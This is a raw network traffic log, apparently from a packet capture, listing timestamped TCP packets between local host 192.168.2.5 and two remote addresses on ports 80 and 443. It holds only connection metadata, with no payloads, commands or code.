Oct 31, 2024 01:18:53.407438993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407442093 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407450914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407460928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407475948 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407505989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407593012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407603979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407614946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407640934 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407668114 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407675028 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407686949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407697916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407712936 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407727957 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407737970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.407941103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407952070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407962084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.407990932 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408015966 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408042908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408061028 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408073902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408090115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408102989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408113956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408117056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408126116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408137083 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408142090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408149004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408159971 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408162117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408176899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408178091 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408195019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408205986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408207893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408217907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408229113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408233881 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408241987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408253908 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408253908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408271074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408283949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408293009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408296108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408307076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408318043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408339977 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408405066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408417940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408435106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408444881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408456087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408464909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408471107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408483982 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408493996 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408505917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408507109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408518076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408531904 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408544064 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408552885 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408565044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408565044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408595085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408603907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408607006 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408615112 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408632040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408643007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408646107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408670902 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408680916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408693075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408704042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408736944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408737898 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408775091 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408826113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408843994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408855915 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408866882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408878088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408886909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408891916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408900023 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408929110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.408960104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408971071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408982038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.408994913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409007072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409018040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409023046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409034967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409044981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409056902 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409056902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409086943 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409096956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409117937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409130096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409141064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409168959 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409192085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409200907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409210920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409293890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409296036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409307957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409321070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409332991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409344912 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409369946 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409405947 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409416914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409429073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409440041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409451962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409452915 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409465075 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409487963 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409514904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409526110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409535885 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409571886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409594059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409605026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409615040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409652948 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409734011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409744978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409758091 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409780025 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409795046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409806967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409817934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409830093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409837008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409876108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409898043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409954071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409965038 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409970045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409981966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.409989119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.409993887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410005093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410007954 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410023928 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410048008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410069942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410093069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410123110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410135031 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410151005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410214901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410226107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410237074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410264969 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410289049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410363913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410375118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410386086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410413980 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410438061 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410463095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410475016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410485029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410502911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410516977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410517931 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410526991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410531044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410545111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410547972 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410556078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410562992 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410567999 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410578966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410583019 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410589933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.410604000 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.410625935 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.436681986 CET	443	49997	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.437035084 CET	49997	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.437053919 CET	443	49997	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.437446117 CET	49997	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.437449932 CET	443	49997	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.462711096 CET	443	49996	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.463093996 CET	49996	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.463115931 CET	443	49996	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.463495016 CET	49996	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.463500977 CET	443	49996	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.519902945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.519948006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.519952059 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.519963026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520001888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520032883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520047903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520062923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520077944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520102024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520109892 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520114899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520131111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520147085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520148039 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520162106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520172119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520178080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520190001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520190001 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520204067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520217896 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520220995 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520227909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520235062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520258904 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520275116 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520298004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520320892 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520335913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520351887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520355940 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520368099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520382881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520387888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520399094 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520407915 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520420074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520431995 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520437002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520451069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520467997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520473003 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520483017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520498991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520503998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520517111 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520535946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520543098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520550966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520565987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520572901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520581007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520598888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520606041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520610094 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520618916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520632029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520641088 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520648003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520664930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520672083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520699024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520737886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520751953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520776033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520778894 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520790100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520802021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520806074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520818949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520822048 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520838022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520857096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520917892 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520932913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520946980 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520962000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520967007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.520983934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.520987034 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521007061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521009922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521022081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521028996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521035910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521059036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521060944 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521075010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521083117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521090031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521106958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521112919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521120071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521133900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521136999 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521157026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521164894 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521172047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521186113 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521187067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521202087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521210909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521233082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521234035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521279097 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.521281004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.521426916 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.526664019 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.527060032 CET	49998	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.527076006 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.527728081 CET	49998	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.527734041 CET	443	49998	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.531656981 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.531716108 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.531801939 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.531968117 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.531972885 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.532025099 CET	49995	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.532028913 CET	443	49995	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.533027887 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.533088923 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.533152103 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.533313036 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.533318043 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.533328056 CET	49994	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.533330917 CET	443	49994	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.535717964 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.535728931 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.535782099 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.535801888 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.535809040 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.535839081 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.536036015 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.536048889 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.536082983 CET	50003	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:53.536092997 CET	443	50003	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.567653894 CET	443	49997	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.567843914 CET	443	49997	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:53.567899942 CET	49997	443	192.168.2.5	13.107.246.45
